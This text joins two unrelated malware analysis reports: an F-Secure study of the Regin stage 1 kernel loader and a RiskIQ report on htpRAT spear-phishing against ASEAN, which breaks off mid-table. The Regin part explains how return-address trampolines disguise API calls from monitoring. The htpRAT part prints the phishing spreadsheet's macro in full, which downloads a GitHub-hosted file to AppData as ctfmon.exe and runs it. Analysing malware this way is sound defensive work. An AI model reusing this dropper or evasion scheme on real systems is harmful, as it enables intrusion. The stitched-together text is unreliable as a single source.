CONCLUSIONS 10 APPENDIX A: SAMPLE STATISTICS 11 APPENDIX B: MEMSET SYSTEM CALL TRANSITION 14 tlp: wHite mailto:irtf-secure.com 2 F-Secure malware analySiS report 1.
introDUCtion In this document we describe the technical characteristics of a set of 27 32-bit samples of Regins stage 1 component.
We first extract and collect a set of high level information from these samples to obtain a general overview of their structure.
Based on this overview, we propose using two distinct grouping criteria to facilitate working with these samples.
A single sample is then selected and analysed in detail its functionalities are isolated and presented here, together with relevant portions of its code.
1.1  sample statistics Our analysis covers a collected set of 27 32-bit Portable Executable (PE) files for the Microsoft Windows operating system.
All 27 samples are device drivers, designed to work at the kernel level.
Based on the code structure of the samples, they can be roughly categorized into two groups: y Pure  does not feature any extra code beside the malicious one y Augmented  the malware code is present in combination with code from a legitimate device driver Some augmented samples seem to be derived from Microsoft device drivers, with modifications to drive the execution towards the malicious code.
Of the 27 samples, 20 of them (or 74) are pure only 7 samples can be classified as are augmented.
Despite the small amount of samples at our disposal, it is possible to speculate that the disproportion between the number of pure and augmented samples reflects the additional complexity associated with creating the augmented samples.
Another possibility is that augmented samples represent a particular stage of development or have served a particular purpose, and for this reason they are fewer in number this suspicion might be confirmed by the compilation date as extracted from the samples PE header.
Analysis of the resources also shows that the augmented binaries are masked as binaries for Windows NT 5.2.3790, also known as Windows Server 2003.
This hints to the fact that the attackers might have used these samples to specifically target machines running this particular version of Windows.
It also interesting to consider the filenames of the samples as they were observed in the wild or during submission for analysis.
In 12 cases (44 of samples), the decoy names used by the files was usbclass.sys.
[
1] This particular name was used only for pure samples (though not all such samples used this name).
It is our opinion that this particular name was selected to allay any suspicions on the victims part, if the file was discovered.
Following detailed analysis of a selected reference sample (presented in later sections), we were able to group samples based on differences in their code from the analysed sample.
We define the distance function between our reference sample and other samples as: Using this metric, we determined there were three categories among the 27 samples at our disposal.
A set of 13 samples out of 26 [2], which was assigned the label variant 1, alongside the reference sample, were extremely close to the reference, with distances between 89 and 100.
7 out of 26 samples (labelled variant 2) were very distant from the reference sample [3], with a consistent distance of 2.63.
Finally, the last 7 samples (labelled variant 3) showed distances between 41 and 53 from the reference sample.
While samples belonging to variant 2 or variant 3 were not analyzed in detail, preliminary analysis shows that they all possess the same functionalities, but their code is notably different at the function level.
A final observation is that all the augmented samples belong to variant 1, according to this classification method.
The full data matrix regarding the samples is provided in Appendix A for the interested reader.
2.
Malware analysis This section presents a detailed analysis of a selected sample from the set of samples for Regins stage 1, which later serves as a reference for further analysis of other samples.
1     There exists a small number of references to a Logitech device driver with the name usbclass.sys.
Were these references to be correct, it could be speculated that the malware authors may have wanted to use a name that would survive a simple investigation attempt done by, say, using an internet search engine.
functions sample reference functions sample  d(sample): functions sample  reference  W32/Regin, stage 1 3 2.1  Deployment and startup At the time of writing, it is not known how the Regin stage 1 samples are deployed to the target system.
Our analysis of the samples system interactions showed no evidence to indicate that they are any different from other device drivers we therefore believe that these samples are installed, registered and invoked as with any other device driver.
2.2  sample selection The analysis in this section focuses on the sample with MD5 26297dc3cd0b688de3b846983c5385e5, which was chosen for two reasons: first, the sample was among the first few we retrieved, and second, it was the only pure sample in that particular set.
A pure sample has the advantage of being self-contained, smaller in size and independent from any other code.
2.3  Content retrieval Almost immediately after receiving control, the malwares code will attempt to locate its payload from the already infected system.
The malware will scan selected locations in both the file system and the registry.
These locations are hardcoded inside the binary itself under a layer of simple encryption.
The logic for content retrieval can be represented by a simplified flowchart (Chart 1).
2   The total number of samples is 26 because the reference sample has been excluded.
3   It is clear that d (sample reference)  1.
Chart 1: Flowchart of content retrieval logic 4 F-Secure malware analySiS report 2.4  retrieval from the file system (extended attributes) Regins stage 1 component relies on the concept of Extended Attributes to store its payload on the file-system.
Extended Attributes are a list of name-value pairs that can be associated to New Technology File System (NTFS) files and directories.
The malware retrieves the list of extended attributes associated with the provided full path to a directory or file.
This list is then iterated and each element is inspected.
The malware expects to retrieve the content from extended attributes named as _.
If that condition is met, the value is then extracted.
It should be noted that the content may be split between extended attributes belonging to two different NTFS objects.
An example file-system location is the following: WINDOWS\Cursors The use of Extended Attributes was not observed in malware until the recent emergence of the ZeroAccess rootkit [4].
As the Regin threat appears to have emerged earlier than ZeroAccess however, we are convinced that significant skills, knowledge and resources were available to the developers of Regin to enable earlier use of this unusual technique.
2.5  retrieval from the registry If Regins stage 1 is unable to retrieve payload content from the file-system, the malware will turn its attention to the registry.
Regins stage 1 malware samples contain a hardcoded registry path and value name to be used as a fall- back location for content retrieval.
In this case, the sought content is simply the value of the provided key/value-name combination.
An example registry location is: \REGISTRY\Machine\System\CurrentControlSet\ Control\RestoreList:VideoBase If both content retrieval attempts are unsuccessful, the malware will not perform any additional operation until its next invocation, when it will again attempt to retrieve content from either the file-system or the registry.
2.6  Decryption The encryption used to protect the content in the file system or registry is a XOR based algorithm, specific to this malware family.
Regins stage 1 body contains the key needed for payload decryption.
The code for the payloads decryption routine is presented in Image 1.
After decryption, the malware quickly verifies the payload is correct, in order to avoid attempting to map something for execution when it is obviously invalid (Image 2).
2.7  Content mapping Once the payload is in clear text, Regins stage 1 proceeds to map it so that it can be executed.
The mapping process follows the logic of the operating systems PE loader.
Regins stage 1 PE loader is quite comprehensive considering the suspected age of the threat, the generic nature of the PE loader and the fact that the PE loading happens completely in kernel mode, we can speculate that the authors of this threat are skilled and well-funded.
4   Symantec Response blog Mircea Ciubotariu Trojan.
Zeroaccess.
C Hidden in NTFS EA published 14 Aug 2012 http://www.symantec.com/connect/blogs/trojanzeroaccessc-hidden-ntfs-ea Image 2: Payload verification code Image 1: Content decryption loop W32/Regin, stage 1 5 2.8  the Quickpeparse function Of particular interest is a specific helper function that is widely used by Regins stage 1 in association with PE manipulation.
The helper function quickly verifies the validity of a PE file, while at the same time recovering information (Image 3) useful to anyone willing to load or programmatically process a PE file.
Given the number of times Regins stage 1 needs to retrieve PE-related information, this subroutine is a great help in Image 3: Code recovered for the QuickPeParse function simplifying the code and avoiding dangerous mistakes.
This is, again, possibly additional confirmation of the attackers skills.
2.9  Header and sections This part of the loading process is performed in a fairly standard way.
Regins stage 1 begins the loading process by verifying that its payload is a valid PE file.
If this verification is successful, the malware retrieves the value of the SizeOfImage field from the OptionalHeader of the PE file, then allocates a number of bytes equivalent to this value.
6 F-Secure malware analySiS report Image 5: Missing replacements for mem functions Image 4: Calculating the delta The payload will be mapped to this memory region.
Before proceeding any further, Regins stage 1 calculates the delta (Image 4) between the address of the memory region it allocated for the memory mapped image and the preferred ImageBase retrieved from the OptionalHeader.
This information will be used later during the mapping process, in case relocations need to be processed.
With these operations completed, the headers are mapped first, followed sequentially by each of the PE file sections.
This process is relatively straightforward.
It is to be appreciated that the majority of the operations described above rely at some level on QuickPeParses results.
On another note, in this section of the code we begin to see references to missing replacements for mem functions.
The absence of the mem replacements does not affect the malwares ability to proceed with the execution, as the code falls back to standard API functions (Image 5).
Such code constructs are encountered extensively throughout the remainder of the code.
Our opinion on this matter is that the replacement functions would provide augmented logging when dealing with memory operations their absence is possibly the result of conditional compilation.
Such an explanation would further the belief that the authors of this malware are experienced developers.
2.10  imports  trampolines Import resolution is the crucial part for achieving Regin stage 1s goal of hiding the originator of system calls from external observers.
The loader will correctly resolve the address of imported functions, but will embed these addresses in so-called trampoline code.
Addresses to the trampolines are instead added to the Import Address Table (IAT).
From there, the execution will traverse different pieces of code, eventually triggering the requested external subroutine before finally returning to the payload.
Before getting into details, it is important to have an idea of how the trampolines work from a high-level perspective.
A trampoline transition can be summarized as follows: 1.
Payload invokes resolved external subroutine 2.
Trampoline code receives control a. Trampoline code retrieves the previously- resolved real address of the external subroutine b. Trampoline invokes the pre-API call code 3.
Pre-API call code prepares the environment to make the function call return to trusted location inside trusted module a. Pre-API call code invokes the external subroutine 4.
External subroutine performs its duty a.
External subroutine returns 5.
Execution lands in appropriate part of trusted module 6.
Jump to post-API call code is executed 7.
Post-API call code receives control a. Post-API call code restores the environment for payload b. Post-API call code transfers control back to payload, as would normally happen after a call to an external subroutine 8.
Payload continues its operations In the following subsections we will discuss the details of how the malware retrieves and pieces together all the information required to produce and install the trampolines.
Appendix B contains a diagram detailing a complete transition between the payload and an external module exporting a function.
W32/Regin, stage 1 7 2.10.1  embedded code templates The stage 1 malware uses predefined code for pre-API-call and post-API-call operations.
This code is embedded in the binary and is almost ready for use, but it requires some customization to account for differences when it comes to memory addresses.
The malware is aware of the start address of both pieces of code inside its own body, and has a rough idea of the size of the two code portions.
The builder code contains wrong values for the size of both templates.
This is most likely a remnant of a previous code version that contained templates that were bigger.
With this information, the malware scans those sections of code looking for specific DWORDs that mark locations that need customization.
As an example, we report a screenshot of the post-API- call code (Image 6).
The value of 0x99119911 as the second operand of the last instruction in this code portion is a placeholder that acts as a marker for the builder code.
The offset of the values needing customization are marked by the values: y pre-API-call code: 0x66116611 0x77117711 0x88118811 y post-API-call code: 0x99119911 The addresses of such markers relative to the beginning of the owner code portion are recorded for later use.
After all the information is recorded, Regins stage 1 copies both the pre-API-call and the post-API-call code portions to newly allocated memory regions.
2.10.2  locating a safe location inside a trusted module For the trampolines to be successful, a safe location inside a trusted kernel module needs to be found.
After the trampolines are in place, the affected module will be the one that is seen and blamed by an external observer every time the payload executes a call to an external subroutine.
To find this location, Regins stage 1 scans all the sections that are executable and non pageable from a set of trusted modules.
This set of modules includes: y NTOSKRNL.EXE y HAL.dll y Disk.sys y Atapi.sys These memory regions are scanned for a specific set of bytes.
The sought after combinations are listed below, together with their assembly representation.
y 0xFF, 0x26: jmp dword ptr [esi] y 0xFF, 0x27: jmp dword ptr [edi] y 0xFF, 0x66: jmp dword ptr [esibb] y 0xFF, 0x67: jmp dword ptr [edibb] y 0xFF, 0xA6: jmp dword ptr [esidddddddd] y 0xFF, 0xA7: jmp dword ptr [edidddddddd] y 0xFF, 0xE6: jmp esi y 0xFF, 0xE7: jmp edi The assembler representations make the malwares purpose quite clear.
The malware will arrange for the system call to return to this particular location inside a trusted module, fooling any external observer who may be monitoring the return address to identify the module originating the call to the external subroutine.
Executing the code at this location will make the CPU execute the jump operation, which will eventually lead back to the payloads code.
If any of the two bytes sequences presented above is found in the code of a trusted module, and if the surrounding code passes further safety checks, its address is recorded.
Depending on the specific byte combination found, additional information may be retrieved or calculated for example, in the case of a jmp dword ptr [edixxxxxxxx], the immediate part of the operand is retrieved for calculating the delta between that value and the location containing the address of the post-API-call.
The calculated delta value will be assigned to the EDI register so that the execution will flow smoothly.
Image 6: Post-API-call code 8 F-Secure malware analySiS report Image 7: Trampoline memory allocation If none of these sequences are found, the search continues in other sections and trusted modules.
If no suitable location is available, Regins stage 1 will simply terminate its execution.
2.10.3  Code template customization Once the safe location in a trusted module has been located and its address and type retrieved, Regins stage 1 can customize the copies of the pre- and post-API-call code templates.
Each of the values is customized as follows: y 0x66116611: delta value to be applied to ESI/EDI register so that the jump instruction at the safe location will lead the execution back to the post-API-call code y 0x77117711: address of the safe jump location y 0x88118811: nothing, used only as an end marker y 0x99119911: not specifically replaced, but parts of it are overwritten with the address of post-API-call code if the safe location involves an indirect jump 2.10.4  trampolines Trampolines are the mechanism that Regins stage 1 uses to reroute the execution through several pieces of code every time the payload executes a call to an external function.
There exists a trampoline for each individual imported function, and the trampolines are stored sequentially in memory and accessed as an array.
Each trampoline is constructed from the following template: mov eax, d1d1d1d1 jmp d2d2d2d2 The values d1d1d1d1 and d2d2d2d2 are placeholders that will be replaced during actual import resolution with the relevant information.
In particular, the two values will be replaced with the following information: y d1d1d1d1: replaced with the address of the external function from the third party module (for example: NTOSKRNL.EXEmemcpy) y d2d2d2d2: replaced with the offset of the pre-API-call code segment, relative to the instruction after the jmp During import resolution, each item to resolve is fetched and its address retrieved.
The address is then used to fill a trampoline as described above.
Finally, the address of the trampoline is added to the IAT of the module being mapped in place of the resolved address.
Please note that, as is logical, this process is only executed for symbols whose address lies in a section that is flagged as executable.
Other symbols are not protected by trampolines and their addresses are added directly to the IAT.
The described trampoline mechanism clearly provides transparent protection to the payload.
2.11  the Codeprotection structure This structure links together all the pieces involved with the protection of the payload.
It is added, for example, to the payloads data directory information and it is used for most of the computations performed by Regins stage 1.
The structure is defined as follows: Image 8: CodeProtection structure 2.12  relocations The next step of the payload loading process is for the malware to process the possible relocations of the mapped payload.
To carry out this operation, the dedicated code needs to process the base relocation table for the payload.
Additionally, it makes use of the previously calculated delta between the current image base and the preferred image loading address.
W32/Regin, stage 1 9 Image 9: Scanning the payloads DATA_DIRECTORIES The PE loader supports only two specific base relocation types, IMAGE_REL_BASED_HIGHLOW and IMAGE_REL_ BASED_DIR64.
However, this level of support is enough to guarantee the loading of binaries produced by recent toolchains.
As a matter of fact, the loaders support of the relocation type IMAGE_REL_BASED_DIR64 gives us the firsts hint that a 64-bit version of the Regin framework may exist, in combination with 64-bit additional stages.
2.13  Finalizing the loading process As the final step in the loading process, the malware scans the payloads DATA_DIRECTORIES to perform a final modification to the mapped image.
The modification consists of setting the VirtualAddress of the selected DATA_DIRECTORY to the address of the previously mentioned CodeInjection structure.
Additionally, the Size field of the selected DATA_DIRECTORY is set to a 10 F-Secure malware analySiS report special value, 0xFEDCBAFE (renamed MALWARE_MARKER_ DATA_DIR_SIZE in Image 9).
A suitable DATA_DIRECTORY is one which satisfies the following conditions: y The particular data directory is not in use (VirtualAddress and Size must be 0) y The directory should not be among the following directories: EXPORT IMPORT IMPORT ADDRESS TABLE (IAT) DELAY-LOAD IMPORT TABLE It is clear that the malware selects the data directory with special care, specifically to avoid interference with interactions between the mapped payload and its dependencies.
2.14  invocation of stage 2 With the payload fully mapped into memory and the trampoline mechanism set up to mask the malwares access to external subroutines, Regins stage 1 is ready to transfer control to the next stage.
This is done by calculating the address of stage 2s entry point and calling that location.
3.
ConClUsions Our analysis of the Regins stage 1, as detailed in this document, shows that this component of the Regin framework is designed to retrieve an additional payload (stage 2) from an already compromised system, map it into kernel memory and execute it.
During the loading process, Regins stage 1 will hide the payloads invocations of function exported by other modules using an unusual trampoline mechanism.
In this way, the malware manages to effectively fool an external observer into thinking that calls to API functions are being performed by one of a set of trusted modules, thereby allaying suspicion of the payloads activities.
The utilitarian nature of the malware makes it obvious that this is a support module, designed to hide the presence of an additional stage.
Attempting attribution based on this single component is particularly challenging, as Regins stage 1 is purely a support module, with very little content other than executable code.
In the case of the augmented samples, the benign device driver used as a base offers little to nothing in terms of information that could help identifying the author(s).
That said, based on the code structure, we suspect that Regins developers may be experienced and skilled.
Statistical analysis of the 27 samples in our collection suggest that the three different types of stage 1 samples we identified may have been the product of iterative development.
The fact that the malware supports even Windows NT4 targets suggests that this malware is designed to work against a wide set of targets, each running different versions of the Windows operating system in their environment.
We believe however that at some point the attackers directed their efforts towards machines running Windows NT 5.2.3790, also known as Windows Server 2003.
W32/Regin, stage 1 11 appenDiX a: saMple statistiCs Below is the full data matrix for the 27 Regin samples collected.
no.
MD5 HasH known FilenaMe type 1 26297DC3CD0B688DE3B846983C5385E5 plain 2 47D0E8F9D7A6429920329207A32ECC2E abiosdsk.sys embedded 3 01C2F321B6BFDB9473C079B0797567BA ser8uart.sys embedded 4 4B6B86C7FEC1C574706CECEDF44ABDED usbclass.sys plain 5 744C07E886497F7B68F6F7FE57B7AB54 floppy.sys, atdisk.sys embedded 6 2C8B9D2885543D7ADE3CAE98225E263B usbclass.sys plain 7 F3FFC2AAAA1E2AB55EC26FF098653347 atdisk.sys embedded 8 E94393561901895CB0783EDC34740FD4 plain 9 BFBE8C3EE78750C3A520480700E440F8 pcidump.sys plain 10 89003E9A1AE635C97EBAD07AEBC67F00 usbclass.sys plain 11 1800DEF71006CA6790767E202FAE9B9A abiosdisk.sys embedded 12 90FECC6A89B2E22D82D58878D93477D4 atdisk.sys embedded 13 DB405AD775AC887A337B02EA8B07FDDC parclass.sys embedded 14 6662C390B2BBBD291EC7987388FC75D7 usbclass.sys plain 15 06665B96E293B23ACC80451ABB413E50 rdpmdd.sys plain 16 FFB0B9B5B610191051A7BDF0806E1E47 pciclass.sys plain 17 187044596BC1328EFA0ED636D8AA4A5C usbclass.sys plain 18 B29CA4F22AE7B7B25F79C1D4A421139D pciport.sys, usbclass.sys plain 19 D240F06E98C8D3E647CBF4D442D79475 usbclass.sys plain 20 8FCF4E53ECE6111758A1DD3139DC7CAD plain 21 148C1BB9D405D717252C77593AFF4BD8 usbclass.sys plain 22 1C024E599AC055312A4AB75B3950040A usbclass.sys plain 23 B269894F434657DB2B15949641A67532 usbclass.sys plain 24 BA7BB65634CE1E30C1E5415BE3D1DB1D usbclass.sys plain 25 22BFC970F707FD775D49E875B63C2F0C plain 26 B505D65721BB2453D5039A389113B566 usbclass.sys plain 27 049436BB90F71CF38549817D9B90E2DA usbclass.sys plain 12 F-Secure malware analySiS report no.
ConFig 1 ConFig 2 ConFig 3 ConFig 4 1 \REGISTRY\Machine\System\CurrentControlSet\Control\ Class\9B9A8ADB-8864-4BC4-8AD5-B17DFDBB9F58 Class WINDOWS WINDOWS\fonts 2 \REGISTRY\Machine\System\CurrentControlSet\Control\ Class\4F20E605-9452-4787-B793-D0204917CA58 Class WINDOWS\security WINDOWSTemp 3 \REGISTRY\Machine\System\CurrentControlSet\Control\ Class\4F20E605-9452-4787-B793-D0204917CA58 Class WINDOWS\repair WINDOWS\msagent 4 \REGISTRY\Machine\System\CurrentControlSet\Control\ Class\4F20E605-9452-4787-B793-D0204917CA58 Class WINDOWS WINDOWS\fonts 5 \REGISTRY\Machine\System\CurrentControlSet\Control\ Class\4F20E605-9452-4787-B793-D0204917CA58 Class WINDOWS\msapps WINDOWS\Help 6 \REGISTRY\Machine\System\CurrentControlSet\Control\ Class\4F20E605-9452-4787-B793-D0204917CA58 Class WINDOWS WINDOWS\fonts 7 \REGISTRY\Machine\System\CurrentControlSet\Control\ Class\4F20E605-9452-4787-B793-D0204917CA58 Class WINDOWS\msagent WINDOWS\msagent\chars 8 \REGISTRY\Machine\System\CurrentControlSet\Control\ Class\4F20E605-9452-4787-B793-D0204917CA58 Class WINDOWS\msapps WINDOWS\Help 9 \REGISTRY\Machine\System\CurrentControlSet\Control\ Class\4F20E605-9452-4787-B793-D0204917CA58 Class WINDOWS WINDOWS\fonts 10 \REGISTRY\Machine\System\CurrentControlSet\Control\ Class\4F20E605-9452-4787-B793-D0204917CA58 Class WINDOWS WINDOWS\fonts 11 \REGISTRY\Machine\System\CurrentControlSet\Control\ Class\4F20E605-9452-4787-B793-D0204917CA58 Class WINDOWS\security WINDOWS\Temp 12 \REGISTRY\Machine\System\CurrentControlSet\Control\ Class\4F20E605-9452-4787-B793-D0204917CA58 Class WINDOWS\msagent WINDOWS\msagent\chars 13 \REGISTRY\Machine\System\CurrentControlSet\Control\ Class\4F20E605-9452-4787-B793-D0204917CA58 Class WINDOWS\Temp WINDOWS\inf 14 \REGISTRY\Machine\System\CurrentControlSet\Control\ Class\4F20E605-9452-4787-B793-D0204917CA58 Class WINDOWS WINDOWS\fonts 15 \REGISTRY\Machine\System\CurrentControlSet\Control\ RestoreList VideoBase WINDOWS\Cursors WINDOWS\fonts 16 \REGISTRY\Machine\System\CurrentControlSet\Control\ Class\9B9A8ADB-8864-4BC4-8AD5-B17DFDBB9F58 Class WINDOWS WINDOWS\fonts 17 \REGISTRY\Machine\System\CurrentControlSet\Control\ Class\4F20E605-9452-4787-B793-D0204917CA58 Class WINDOWS WINDOWS\fonts 18 \REGISTRY\Machine\System\CurrentControlSet\Control\ Class\4F20E605-9452-4787-B793-D0204917CA58 Class WINDOWS WINDOWS\fonts 19 \REGISTRY\Machine\System\CurrentControlSet\Control\ Class\4F20E605-9452-4787-B793-D0204917CA58 Class WINDOWS WINDOWS\fonts 20 \REGISTRY\Machine\System\CurrentControlSet\Control\ Class\4F20E605-9452-4787-B793-D0204917CA58 Class WINDOWS WINDOWS\fonts 21 \REGISTRY\Machine\System\CurrentControlSet\Control\ Class\4F20E605-9452-4787-B793-D0204917CA58 Class WINDOWS WINDOWS\fonts 22 \REGISTRY\Machine\System\CurrentControlSet\Control\ Class\4F20E605-9452-4787-B793-D0204917CA58 Class WINDOWS WINDOWS\fonts 23 \REGISTRY\Machine\System\CurrentControlSet\Control\ Class\4F20E605-9452-4787-B793-D0204917CA58 Class WINDOWS WINDOWS\fonts 24 \REGISTRY\Machine\System\CurrentControlSet\Control\ Class\4F20E605-9452-4787-B793-D0204917CA58 Class WINDOWS WINDOWS\fonts 25 \REGISTRY\Machine\System\CurrentControlSet\Control\ Session 5D42A36B-12C4- DE7C-4BD1- 0612BD1CF324 WINDOWS\Spool\ Printers SYSTEM\CertSrv 26 \REGISTRY\Machine\System\CurrentControlSet\Control\ Class\4F20E605-9452-4787-B793-D0204917CA58 Class WINDOWS WINDOWS\fonts 27 \REGISTRY\Machine\System\CurrentControlSet\Control\ Class\9B9A8ADB-8864-4BC4-8AD5-B17DFDBB9F58 Class WINDOWS WINDOWS\fonts W32/Regin, stage 1 13 no.
resoUrCes?
nUMber oF resoUrCes FUnCtion MatCH siMilarity sCore variant notes 1 No n/a 76 100 1 Analyzed sample 2 Yes 2 68 89.47368421 1 3 Yes 1 68 89.47368421 1 4 Yes 1 72 94.73684211 1 5 Yes 2 69 90.78947368 1 6 Yes 1 68 89.47368421 1 7 Yes 2 68 89.47368421 1 8 Yes 1 68 89.47368421 1 9 No n/a 76 100 1 10 Yes 1 69 90.78947368 1 11 Yes 2 69 90.78947368 1 12 Yes 2 69 90.78947368 1 13 Yes 1 69 90.78947368 1 14 No n/a 2 2.631578947 2 15 No n/a 2 2.631578947 2 16 No n/a 2 2.631578947 2 17 No n/a 2 2.631578947 2 18 No n/a 2 2.631578947 2 19 No n/a 2 2.631578947 2 20 No n/a 2 2.631578947 2 21 No n/a 37 48.68421053 3 22 No n/a 31 40.78947368 3 23 No n/a 40 52.63157895 3 24 No n/a 31 40.78947368 3 25 No n/a 31 40.78947368 3 26 No n/a 40 52.63157895 3 27 No n/a 40 52.63157895 3 14 F-Secure malware analySiS report appenDiX b: MeMset systeM Call transition HEADER CODE ... IAT ADDR: call dword ptr [IAT:NTOKRNL.EXEMEMSET] ADDR  6: ... NTOSKRNL.EXEMEMSET: off MEMSET_TRAMPOLINE TRAMPOLINES mov eax, off NTOSKRNL.EXEMEMSET jmp pre-api-call code mov eax, off NTOSKRNL.EXEMEMCPY jmp pre-api-call code pre-api-call code: cmp esp,ebp jnl 0x2307d push edi push esi push ebx mov esi,esp add esi,0xc push ebp push dword 0x0 mov ebx,esp push ecx push edx mov ecx,ebp sub ecx,esi cmp ecx,0x4 jl 0x23076 push eax push edx push ebx mov eax,0xf imul eax,eax,0x4 cmp eax,ecx jnl 0x2302d mov ecx,eax mov edx,0x0 mov eax,ecx mov ebx,0x4 idiv ebx dec eax push dword 0x0 cmp eax,0x0 jnz 0x2303b add esp,ecx pop ebx pop edx pop eax mov ebp,esp mov edi,esp sub edi,ecx mov esp,edi rep movsb mov [ebx],esp mov ecx,[ebx-0x4] mov edx,[ebx-0x8] mov dword [ebx-0x4],0x0 mov dword [ebx-0x8],0x0 Change the original return address to the selected jump instruction in the safe module mov dword [esp],SAFE_MODULESAFE_LOCATION Apply the correct DELTA to the required register to satisfy the operand immediate at safe location mov edi,DELTA jmp eax      NTOKRNL.EXEMEMSET NTOSKRNL.EXEMEMSET: ... ret SAFE_MODULESAFE_LOCATION: Indirect jump to of post-api-call jmp [edi-0x78740008] post-api-call code: mov ecx,esp sub ecx,[ebp0x8] sub ecx,0x4 mov esp,ebp add esp,0xc pop ebp pop ebx pop esi pop edi pop edx add esp,ecx jmp edx    Jump back Off post-api-call code 1.
INTRODUCTION 1.1  Sample Statistics 2.
MALWARE ANALYSIS 2.1  Deployment and startup 2.2  Sample selection 2.3  Content retrieval 2.4  Retrieval from the file system (Extended Attributes) 2.5  Retrieval from the registry 2.6  Decryption 2.7  Content mapping 2.8  The QuickPeParse function 2.9  Header and sections 2.10  Imports  Trampolines 2.10.1  Embedded code templates 2.10.2  Locating a safe location inside a trusted module 2.10.3  Code template customization 2.10.4  Trampolines 2.11  The CodeProtection structure 2.12  Relocations 2.13  Finalizing the loading process 2.14  Invocation of stage 2 3.
CONCLUSIONS APPENDIX A: SAMPLE STATISTICS APPENDIX B: MEMSET SYSTEM CALL TRANSITION
Remote Control Interloper: Analyzing New Chinese htpRAT Malware Attacks Against ASEAN By Yonathan Klijnsma Table of Contents Introduction ............................................................................................................................................................................... 3 Initial infection through APA List.xls ........................................................................................................................4 GitHub repositories for payload delivery ..................................................................................................................... 5 Staged delivery of the final htpRAT core .....................................................................................................................9 Analysis of the htpRAT core .............................................................................................................................................. 11 Persistence  storage ............................................................................................................................................................ 11 Communication protocol ....................................................................................................................................................12 Execution of operator commands ..................................................................................................................................15 Infrastructure analysis .........................................................................................................................................................16 Other activity by the actor using htpRAT .................................................................................................................18 Indicator of compromise ....................................................................................................................................................19 Remote Control Interloper: Analyzing New Chinese htpRAT Malware Attacks Against ASEAN3 Introduction On November 8, 2016 a non-disclosed entity in Laos was spear-phished by a group closely related to known Chinese adversaries and most likely affiliated with the Chinese government.
The attackers utilized a new kind of Remote Access Trojan (RAT) that has not been previously observed or reported.
The new RAT extends the capabilities of traditional RATs by providing complete remote execution of custom commands and programming.
htpRAT, uncovered by RiskIQ cyber investigators, is the newest weapon in the Chinese adversarys arsenal in a campaign against Association of Southeast Asian Nations (ASEAN).
Most RATs can log keystrokes, take screenshots, record audio and video from a webcam or microphone, install and uninstall programs and manage files.
They support a fixed set of commands operators can execute using different command IDs file download or file upload, for exampleand must be completely rebuilt to have different functionality.
htpRAT, on the other hand, serves as a conduit for operators to do their job with greater precision and effect.
On the Command and Control (C2) server side, threat actors can build new functionality in commands, which can be sent to the malware to execute.
This capability makes htpRAT a small, agile, and incredibly dynamic piece of malware.
Operators can change functionality, such as searching for a different file on the victims network, simply by wrapping commands.
The file APA list.xls (sha256: f2e7106b9352291824b1be60d6772c29a45269d4689c2733d9eefa0a88eeff89) was delivered through email: The top part contains Lao and English:  Enable Content     roughly translates as You can click Enable Content to (see/change) the data, with an added example image of how to enable the macros in the document.
Based on embedded metadata inside the Excel sheet, the last modified date on the file was Mon Nov 07 07:18:32 2016, meaning the document was prepared just before sending it to the target.
Remote Control Interloper: Analyzing New Chinese htpRAT Malware Attacks Against ASEAN4 Initial infection through APA List.xls The XLS document contains the following macro: Once the macro is enabled, the following PowerShell command runs to download a file and execute it (the downloaded file is stored in the Application Data folder in the users local profile).
It is interesting to note the use of GitHub over HTTPS to stage the payload: Attribute VB_Name  ThisWorkbook Attribute VB_Base  000020819-0000-0000-C000-000000000046 Attribute VB_GlobalNameSpace  False Attribute VB_Creatable  False Attribute VB_PredeclaredId  True Attribute VB_Exposed  True Attribute VB_TemplateDerived  False Attribute VB_Customizable  True Private Sub Workbook_Open() Set objshell  CreateObject(wscript.shell) a  objshell.
Run(cmd.exe /s /c powe  rshell (New-Object System.
Net.
WebClient).DownloadFile(\https://raw.githubusercontent.com/justtest1314/justme2/ master/20160728.jpg\,env:appdata\\\ctfmon.exe\)  start appdata\\ ctfmon.exe, 0, False) Set objshell  Nothing Sheet3.Visible  1 Sheet2.Visible  1 Sheet1.Visible  1 Sheet1.Unprotect Sheet1.Activate Chart3.Visible  0 End Sub cmd.exe /s /c powershell (New-Object System.
Net.
WebClient).DownloadFile(https:// raw.githubusercontent.com/justtest1314/justme2/master/20160728.
jpg,env:appdata\\ctfmon.exe)  start appdata\\ctfmon.exe Remote Control Interloper: Analyzing New Chinese htpRAT Malware Attacks Against ASEAN5 GitHub repositories for payload delivery The threat actor behind this attack uses GitHub repositories to store second stage payloads.
The user account used on GitHub is justtest1314 which holds three repositories, two of which have never been used since they were created.
The third repository named justme2 has been actively used to test different variations of transferring a payload from GitHub to a target machine over the course of six to seven months.
The account and the initial repository were created on March 30, 2016, with the first commits starting the same day.
Since the attack on the target in Laos, the attacker decided to clear out the repository.
The files were prepped and ready for possible attacks since July 28, three months before the above documented attack.
The files were removed on November 18, approximately 10 days after the attack against the Lao organization took place.
The actor did not remove the actual repository, but rather cleared out the repository using commits in which the attacker removed the files.
This allowed us to get the whole history of all the commits over time as well as every payload (and every version of the payload): Remote Control Interloper: Analyzing New Chinese htpRAT Malware Attacks Against ASEAN6 Remote Control Interloper: Analyzing New Chinese htpRAT Malware Attacks Against ASEAN7 Based on the Git commit history, we can make a small table showing which file was changed at what time: Commit timestamp Commit hash Files added Files changed Files de- leted Mar 30, 2016, 3:55 AM GMT2 9760f003facc0428e44a5e4da2d3d591c6d711ef README.md Mar 30, 2016, 3:56 AM GMT2 cac8dace24e03a48b804e36a50d24f7747538ffc 8001.exe Mar 30, 2016, 3:56 AM GMT2 21e84fa5897de3c7e85d871e4ba33cb0611232ea 8001.exe Mar 30, 2016, 3:58 AM GMT2 bebf35aeb82b80249312ed12cf0df81409537149 test.zip Apr 1, 2016, 10:16 AM GMT2 530ce17aa21250d9ce38525f353badb8c2f0c859 ctfmon.jpg Apr 20, 2016, 3:07 AM GMT2 87d999a3dc71a77ff95ec684e0805505dd822764 script.jpg May 5, 2016, 4:54 AM GMT2 a63e06112517d9d734b053764354b66e20f12151 2011.jpg May 5, 2016, 4:58 AM GMT2 eda99ee315d4702b02646a4d8c22b5e2eb5aa01f 2011.jpg May 5, 2016, 5:10 AM GMT2 9d43ce169be6c773d8cfc755b36a26118c98ad1d 2011.jpg Jul 28, 2016, 10:55 AM GMT2 e2d697dd03fa6ca535450a771e9b694ae18c22ce 20160728.jpg Nov 18, 2016, 5:00 AM GMT2 f9ba255f5ce38dbe7a860b1de6525fdb5daf9f86 test.zip Nov 18, 2016, 5:00 AM GMT2 3cf50c62107265916777992f7745a1a0ec381d6f script.jpg Nov 18, 2016, 5:00 AM GMT2 